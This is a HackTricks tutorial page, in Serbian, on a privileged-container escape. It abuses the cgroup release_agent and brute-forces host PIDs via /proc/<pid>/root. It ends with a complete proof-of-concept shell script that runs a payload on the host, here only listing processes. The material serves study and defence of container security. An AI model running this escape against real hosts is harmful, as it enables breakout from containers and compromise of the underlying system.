release_agent exploit - Relative Paths to PIDs

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Za dalje detalje proverite blog post sa https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html. Ovo je samo sažetak:

Tehnika opisuje metod za izvršavanje host koda iz kontejnera, prevazilazeći izazove koje postavljaju konfiguracije storage drajvera koje prikrivaju putanju kontejnera na hostu, poput Kata kontejnera ili specifičnih devicemapper podešavanja.

Ključni koraci:

  1. Lociranje Process ID-eva (PID-ova): Korišćenjem simboličke veze /proc/<pid>/root u Linux pseudo-fajl sistemu, bilo koji fajl unutar kontejnera može se pristupiti relativno u odnosu na fajl sistem hosta. Ovo zaobilazi potrebu za poznavanjem putanje fajl sistema kontejnera na hostu.

  2. Brute Force PID: Koristi se metoda grubog sile za pretragu PID-ova na hostu. Ovo se postiže sekvenčnim proveravanjem prisustva određenog fajla na putanji /proc/<pid>/root/<file>. Kada se fajl pronađe, to ukazuje da odgovarajući PID pripada procesu koji se izvršava unutar ciljnog kontejnera.

  3. Pokretanje Izvršavanja: Pretpostavljena putanja PID-a se upisuje u fajl cgroups release_agent. Ova akcija pokreće izvršavanje release_agent-a. Uspeh ovog koraka se potvrđuje proverom kreiranja izlaznog fajla.

Proces eksploatacije

Proces eksploatacije uključuje detaljniji set akcija, sa ciljem izvršavanja payload-a na hostu pogađanjem tačnog PID-a procesa koji se izvršava unutar kontejnera. Evo kako se odvija:

  1. Inicijalizacija Okruženja: Skripta payload-a (payload.sh) se priprema na hostu, i kreira se jedinstveni direktorijum za manipulaciju cgroup-om.

  2. Priprema Payload-a: Payload skripta, koja sadrži komande koje će se izvršiti na hostu, se piše i čini izvršivom.

  3. Podešavanje Cgroup-a: Cgroup se montira i konfiguriše. Zastavica notify_on_release se postavlja kako bi se osiguralo da payload izvrši kada se cgroup oslobodi.

  4. Brute Force PID: Petlja prolazi kroz potencijalne PID-ove, upisujući svaki pretpostavljeni PID u fajl release_agent. Ovo efektivno postavlja payload skriptu kao release_agent.

  5. Pokretanje i Provera Izvršavanja: Za svaki PID, upisuje se cgroup.procs cgroup-a, pokrećući izvršavanje release_agent-a ako je PID tačan. Petlja se nastavlja dok se ne pronađe izlaz payload skripte, što ukazuje na uspešno izvršavanje.

PoC iz blog posta:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated